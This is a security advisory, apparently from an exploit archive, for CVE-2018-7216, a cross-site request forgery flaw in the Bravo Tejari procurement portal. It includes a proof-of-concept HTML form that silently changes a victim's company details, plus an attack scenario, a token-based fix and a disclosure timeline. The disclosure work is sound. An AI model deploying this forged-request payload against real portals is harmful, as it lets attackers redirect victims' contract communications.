Registerbravo tejari web portal crosssite request forgery
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Exploit Title: Bravo Tejari Web Portal-CSRF CVE-ID: CVE-2018-7216 Vulnerability Type: Cross Site Request Forgery (CSRF) Vendor of Product: Tejari Affected Product Code Base: Bravo Solution Affected Component: Web Interface Management. Attack Type: Local - Authenticated Impact: Unauthorised Access Category: WebApps Author: Arvind V. Author Social: @Find_Arvind Vulnerability Type: Cross Site Request Forgery (CSRF) Vendor of Product: Tejari Affected Product Code Base: Bravo Solution Affected Component: Web Interface Management. Attack Type: Local - Authenticated Impact: Unauthorised Access Product description: Bravo Tejari is a strategic procurement platform that enables organizations to generate more value, influence innovation and reduce risk powered by a unique supplier-centered approach that integrates supplier lifetime value throughout the entire procurement process Attack Scenario: The Web Interface of the Bravo Tejari procurement portal does not use random tokens to block any kind of forged requests. An atacker can take advantage of this scenario and create a forged request to edit user account details like name, address of the company/individual, email address etc. He then uses social engineering techniques to target specific individuals whose account details he would like to change. He simply sends the link and tricks the user into clicking the forged http request. The request is executed and user account details are changed without his knowledge. Proof of Concept Code: Forged HTTP Request used by the attacker: <html> <body> <form action="https://XXXX.XXXX.com/esop/toolkit/profile/regData.do" method="POST"> <input type="hidden" name="userAct" value="confirmData" /> <input type="hidden" name="from" value="registration_data" /> <input type="hidden" name="actionNumber" value="0" /> <input type="hidden" name="companyExtStatusCode" value="31" /> <input type="hidden" name="companyExtStatusNote" value="" /> <input type="hidden" name="hideCompany" value="false" /> <input type="hidden" name="companyName" value="XYZ COMPUTER SYSTEMS FZ LLC" /> <input type="hidden" name="companyAddress" value="Dubai internet city, DUBAI" /> <input type="hidden" name="companyCity" value="DUBAI" /> <input type="hidden" name="companyCountry" value="AE" /> <input type="hidden" name="companyProvince" value="Dubai" /> <input type="hidden" name="companyZip" value="25703" /> <input type="hidden" name="companyPhone" value="43918600" /> <input type="hidden" name="companyFax" value="" /> <input type="hidden" name="companyEmail" value="XYZ.v@XYZ.com" /> <input type="hidden" name="companyWebSite" value="" /> <input type="hidden" name="companyLegalStructure" value="" /> <input type="hidden" name="companyAddress2" value="" /> <input type="hidden" name="companyFiscalCode" value="215703" /> <input type="submit" value="Submit request" /> </form> </body> </html> Impact: The affected product is a procurement portal and so all communication regarding the contract lifecycle process is sent to user details provided on the portal. If this vulnerability is sucessfully exploited, the attacker will be able to change these details which will potentially affect the victim's business. Recommendation: Ensure that all sensitive CRUD Operations are appropriately protected with random tokens. Alternatively, the sensitive operations should also have an authentication layer to confirm user verification. References: http://seclists.org/fulldisclosure/2018/Feb/44 https://packetstormsecurity.com/files/146409/Tejari-Cross-Site-Request-Forgery.html https://www.securityfocus.com/archive/1/541782/30/0/threaded Credit: Arvind Vishwakarma http://ultimateone1.blogspot.ae/ Vulnerability Timeline: 12th December 2017 – Vulnerability Discovered 23rd December 2017 – Contacted Vendor – No Response 7th January 2018 – Contacted Vendor again – No Response 15th February 2018 – Vulnerability Disclosed
Bravo tejari web portal crosssite request forgery Vulnerability / Exploit Source : Bravo tejari web portal crosssite request forgery
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